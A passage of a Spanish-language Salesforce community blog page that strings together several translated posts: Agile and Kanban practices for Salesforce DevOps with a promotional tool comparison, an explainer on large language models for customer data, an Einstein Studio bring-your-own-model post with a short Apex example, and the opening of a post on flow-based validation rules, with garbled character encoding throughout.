  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

Continue reading

4 formas en que los modelos de lenguaje grande lo ayudan a hacer m谩s con los datos del cliente

4 formas en que los modelos de lenguaje grande lo ayudan a hacer m谩s con los datos del cliente

A medida que las empresas buscan formas de atender a los clientes de manera m谩s eficiente, muchas se dan cuenta de los beneficios de la IA generativa . Esta tecnolog铆a puede ayudarlo a simplificar sus procesos, organizar datos, brindar un servicio m谩s personalizado y m谩s. 驴Qu茅 potencia la IA generativa? Modelos de lenguaje grande (LLM), que permiten que la IA generativa cree contenido nuevo a partir de los datos que ya tiene.

Lo que es m谩s importante, la tecnolog铆a de IA generativa puede ahorrar tiempo en procesos tediosos, por lo que puede brindar una mejor atenci贸n a sus clientes y concentrarse en estrategias generales. Profundicemos en c贸mo la IA generativa puede ayudar a su empresa a hacer m谩s y aprendamos m谩s sobre modelos de lenguaje grandes.

驴Qu茅 son los modelos de lenguaje grande?

La IA generativa est谩 impulsada por grandes modelos de aprendizaje autom谩tico que se entrenan previamente con grandes cantidades de datos que se vuelven m谩s inteligentes con el tiempo. Como resultado, pueden producir contenido nuevo y personalizado, como audio, c贸digo, im谩genes, texto, simulaciones y video, seg煤n los datos a los que puedan acceder y las indicaciones utilizadas.

Para poner las cosas en un contexto cotidiano, los grandes modelos de lenguaje brindan respuestas dependiendo de c贸mo se formule una pregunta. Por ejemplo, 鈥溌 qu茅 son los LLM y c贸mo pueden ayudar a mi negocio? versus 鈥溌縬u茅 son los LLM y qu茅 valor pueden aportar a mi negocio?鈥 arrojar谩 resultados diferentes. Aunque las preguntas son similares, las respuestas pueden variar seg煤n el contexto.

Debido a que estos modelos utilizan el procesamiento del lenguaje natural y las capacidades de aprendizaje autom谩tico, los LLM responden de una manera similar a la humana, coherente y identificable. Como resultado, sobresalen en tareas como traducci贸n de textos, res煤menes y conversaciones.

Con la IA generativa que ayuda a las empresas a realizar estas tareas , la confianza debe estar en el centro de sus esfuerzos. Para asegurarse de que est谩 utilizando esta tecnolog铆a de manera responsable, puede invertir en una plataforma de gesti贸n de relaciones con los clientes que tenga una capa de confianza centrada en la IA , que anonimiza los datos para proteger la privacidad de los clientes.

Una capa de confianza integrada en un entorno de IA generativa puede abordar los requisitos de seguridad, privacidad y cumplimiento de los datos. Pero para cumplir con altos est谩ndares, tambi茅n debe seguir las pautas de innovaci贸n responsable para asegurarse de que est谩 utilizando los datos de los clientes de manera segura, precisa y 茅tica.

驴C贸mo funcionan los modelos de lenguaje grande?

Los avances en la infraestructura inform谩tica y la IA contin煤an simplificando la forma en que las empresas integran grandes modelos de lenguaje en su entorno de IA. Si bien estos modelos est谩n capacitados en enormes cantidades de datos p煤blicos, puede usar plantillas de solicitud que requieren una codificaci贸n m铆nima para ayudar a los LLM a brindar las respuestas correctas para sus clientes.

Adem谩s, ahora puede crear LLM privados capacitados en conjuntos de datos espec铆ficos de dominio que residen en entornos de nube seguros. Cuando un LLM se capacita utilizando datos de la industria, como para uso m茅dico o farmac茅utico, proporciona respuestas que son relevantes para ese campo. De esta manera, la informaci贸n que ve el cliente es precisa.

Los LLM privados reducen el riesgo de exposici贸n de datos durante el entrenamiento y antes de que los modelos se implementen en producci贸n. Puede mejorar la precisi贸n de la predicci贸n entrenando un modelo con datos ruidosos, donde se agregan valores aleatorios en el conjunto de datos para imitar los datos del mundo real antes de limpiarlos.

Tambi茅n es m谩s f谩cil mantener la privacidad de los datos de una persona utilizando fuentes de datos descentralizadas que no tienen acceso directo a los datos de los clientes. A medida que la seguridad y el gobierno de los datos se convierten en una prioridad principal, las plataformas de datos empresariales que cuentan con una capa de confianza se vuelven m谩s importantes.

Las empresas tambi茅n pueden aprovechar c贸mo funcionan los LLM con otros tipos de IA. Imagine usar la IA tradicional para predecir lo que los clientes pueden planear hacer a continuaci贸n (bas谩ndose en datos de tendencias y comportamientos anteriores), y luego usar un LLM para traducir los resultados de la predicci贸n en acciones.

Por ejemplo, puede usar IA generativa para crear correos electr贸nicos de clientes personalizados con ofertas, crear campa帽as de marketing para un nuevo producto, resumir un caso de servicio o escribir c贸digo para desencadenar acciones como recomendaciones de clientes.

Estos grandes modelos ling眉铆sticos ahorran tiempo y dinero al agilizar los procesos manuales, liberando a sus empleados para un trabajo m谩s emprendedor.

Ahora que ha aprendido lo que puede hacer la IA generativa, veamos c贸mo puede usarla para ayudar a su empresa.

驴Qu茅 es la IA generativa?

La IA generativa puede crear cosas incre铆bles con los datos que ya tiene y ayudarlo a funcionar de manera m谩s eficiente. Obtenga m谩s informaci贸n sobre esta tecnolog铆a y vea c贸mo est谩 cambiando los negocios.

4 formas en que la IA generativa puede ayudar a su empresa

El cielo es el l铆mite cuando se trata de formas en que puede usar la IA generativa para su negocio .

Los LLM son excelentes para reconocer patrones y conectar datos por s铆 mismos. La IA predictiva y tradicional, por otro lado, a煤n puede requerir mucha interacci贸n humana para consultar datos, identificar patrones y probar suposiciones.

Al alimentarse de los datos de los clientes en tiempo real, la IA generativa puede traducir instant谩neamente conjuntos de datos complejos en informaci贸n f谩cil de entender. Esto le ayuda a usted y a sus empleados a tener una visi贸n m谩s clara de sus clientes, para que pueda tomar medidas en funci贸n de la informaci贸n actualizada.

Ahora profundicemos en algunos casos de uso en los que los modelos de lenguaje grandes pueden ayudar a su empresa.

Uso del an谩lisis de sentimientos para obtener contexto en las acciones posteriores a la compra

El an谩lisis de sentimientos puede ayudar a los especialistas en marketing, ventas y servicios a comprender el contexto de los datos del cliente para las acciones posteriores a la compra. Por ejemplo, puede usar LLM para segmentar a los clientes en funci贸n de sus datos, como usar rese帽as negativas publicadas en el sitio web de su marca. Estos conocimientos pueden ayudarlo a actuar de inmediato ante los comentarios negativos. Una gran estrategia de marketing ser铆a enviar un mensaje personalizado ofreciendo al cliente una oferta especial para una futura compra. Esto puede ayudar a mejorar lealtad a la marca, confianza del cliente, retenci贸n y personalizaci贸n.

Generaci贸n de texto de correo electr贸nico para campa帽as de marketing.

La generaci贸n de texto puede ayudar a los especialistas en marketing a reducir el tiempo que dedican a preparar campa帽as. La IA generativa puede producir recomendaciones, eventos de lanzamiento, ofertas especiales y oportunidades de participaci贸n del cliente para sus plataformas de redes sociales. Luego, puede pulir el texto para asegurarse de que tenga la voz y el tono de su empresa. Por ejemplo, puede usar la copia producida por la IA generativa para enviar correos electr贸nicos personalizados que informen a los clientes sobre el lanzamiento de un nuevo producto. Esto ayuda a mejorar la personalizaci贸n, brindando a sus clientes una experiencia m谩s consistente.

Presentaci贸n de casos relacionados para agentes de servicio

El resumen de casos puede ayudar a los agentes de servicio a conocer r谩pidamente a los clientes y sus interacciones anteriores con su empresa. Los casos proporcionan informaci贸n del cliente, como comentarios, historial de compras, problemas y resoluciones. La IA generativa puede ayudar a recomendar casos de clientes similares, por lo que un agente puede proporcionar r谩pidamente una variedad de soluciones. Esto da como resultado resoluciones m谩s r谩pidas, ahorros de tiempo y costos, y clientes m谩s satisfechos.

Automatizaci贸n de la generaci贸n de c贸digo b谩sico

La automatizaci贸n ayuda a los desarrolladores y especialistas en integraci贸n a generar c贸digo para tareas b谩sicas pero fundamentales. Por ejemplo, puede usar c贸digo escrito por modelos de lenguaje grande para desencadenar tareas espec铆ficas de automatizaci贸n de marketing, como enviar ofertas y generar plantillas de mensajes para clientes. De esta manera, el lenguaje general es coherente, personalizado para el cliente y en la voz de su empresa. La automatizaci贸n puede ahorrar tiempo y mejorar la productividad, lo que permite a los desarrolladores concentrarse en tareas que requieren m谩s atenci贸n y personalizaci贸n.

La IA brinda oportunidades ilimitadas para acercarse a sus clientes al tiempo que garantiza que est谩 operando de manera eficiente. En un estudio reciente de m谩s de 500 l铆deres de TI, descubrimos que al menos el 33 % consider贸 que la IA generativa era una prioridad para su negocio. Adem谩s, el 67% planeaba priorizarlo en los pr贸ximos 18 meses.

Cuando se usan como parte de una estrategia de IA h铆brida , los modelos de lenguaje grandes pueden complementar varias capacidades predictivas y mejorar dr谩sticamente la productividad. Si bien la IA generativa puede hacer mucho, esta tecnolog铆a a煤n necesita la gu铆a humana para ser m谩s efectiva para las empresas. La IA generativa puede sacar a la luz los conocimientos que necesita para tomar decisiones que puedan hacer avanzar su negocio.

Piense en ello como un asistente inteligente y automatizado para su empresa, que maneja tareas que consumen mucho tiempo para que sus empleados puedan trabajar en la resoluci贸n de problemas complejos. Cuando combine el poder de la IA generativa con el conocimiento y la experiencia que su empresa puede brindar, podr谩 hacer m谩s por sus clientes.

C贸mo la IA generativa ayuda al servicio y las ventas

Hace poco le preguntamos a 2000 profesionales de ventas y servicios qu茅 pensaban sobre la IA generativa. Consulte nuestro informe para mantenerse informado.

Urvi Shah, redactora t茅cnica del personal, contribuy贸 a esta publicaci贸n de blog.

Continue reading

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos c贸mo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse f谩cilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como res煤menes de casos, respuestas de correo electr贸nico y descripciones de productos. Para obtener m谩s informaci贸n sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real y usar la informaci贸n de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. Tambi茅n puede usar un modelo generativo para crear campa帽as de correo electr贸nico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

驴Por qu茅 traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federaci贸n de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos r谩pidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimizaci贸n de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatizaci贸n de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en funci贸n de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos espec铆ficos en funci贸n de los datos de compromiso, como su historial de compras o actividad en l铆nea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a trav茅s del canal m谩s apropiado, incluido el correo electr贸nico, una aplicaci贸n m贸vil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como rese帽as de destinos y previsiones meteorol贸gicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qu茅 destinos atraen a clientes espec铆ficos y generar recomendaciones de correo electr贸nico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cu谩ndo es probable que un autom贸vil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campa帽as de marketing de los clientes en funci贸n de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicaci贸n para usar Einstein Studio con AWS SageMaker

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingenier铆a de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es espec铆fico de Data Wrangler. Pero, 驴qu茅 sucede si es un cient铆fico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementaci贸n en un extremo de invocaci贸n.

Este extremo de invocaci贸n se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener m谩s informaci贸n sobre este flujo de trabajo, consulte el blog de AWS .

C贸mo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con an谩lisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aqu铆 hay un flujo que usa una acci贸n invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede llamar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice an谩lisis ad hoc para obtener predicciones

Query API es otra forma r谩pida de obtener puntajes de predicci贸n para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicci贸n de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Einstein Studio es una plataforma de IA f谩cil de usar que permite a los equipos de ciencia e ingenier铆a de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene m谩s de 10 a帽os de experiencia en la planificaci贸n, creaci贸n, lanzamiento y gesti贸n de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje autom谩tico y en la nube. Anteriormente trabaj贸 en la industria de servicios financieros en la ciudad de Nueva York. S铆guelo en LinkedIn o Twitter .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Validaciones personalizadas mediante flujos activados por registros

Validaciones personalizadas mediante flujos activados por registros

脷ltima actualizaci贸n el 3 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se escribe una regla de validaci贸n utilizando un flujo desencadenado por registros antes de guardar sin crear metadatos adicionales?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Comprender la regla de validaci贸n
  • Flujo antes de guardar activado por registro de usuario para crear una regla de validaci贸n
  • Mostrar el mensaje de error en la parte superior de la p谩gina
  • Y mucho m谩s

馃憠 Anteriormente, escrib铆 varias publicaciones sobre la validaci贸n y Salesforce Flow. 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Adici贸n de validaci贸n a los componentes de la pantalla de flujo
  2. 驴Regla de validaci贸n usando un flujo antes de guardar? 隆S铆!
  3. C贸mo corregir el error FIELD_CUSTOM_VALIDATION_EXCEPTION)

A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito espec铆fico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:

Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita m谩s ayuda o tiene preguntas sobre la gesti贸n de oportunidades, p贸ngase en contacto con el soporte de TI.

驴Qu茅 es la regla de validaci贸n?

Una regla de validaci贸n permite que un administrador del sistema defina una l贸gica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una f贸rmula o una expresi贸n que eval煤e los datos en uno o m谩s campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se est谩n ingresando datos incorrectos. Recuerde, una regla de validaci贸n solo se activa cuando se crea o edita un registro .

En este art铆culo, habl茅 sobre muchos hechos ocultos que no son muy conocidos sobre la regla de validaci贸n . Por ejemplo, mostr茅 c贸mo usar una regla de validaci贸n para administrar requisitos usando tipos de metadatos personalizados.

驴Qu茅 es Antes de Guardar Flujo?

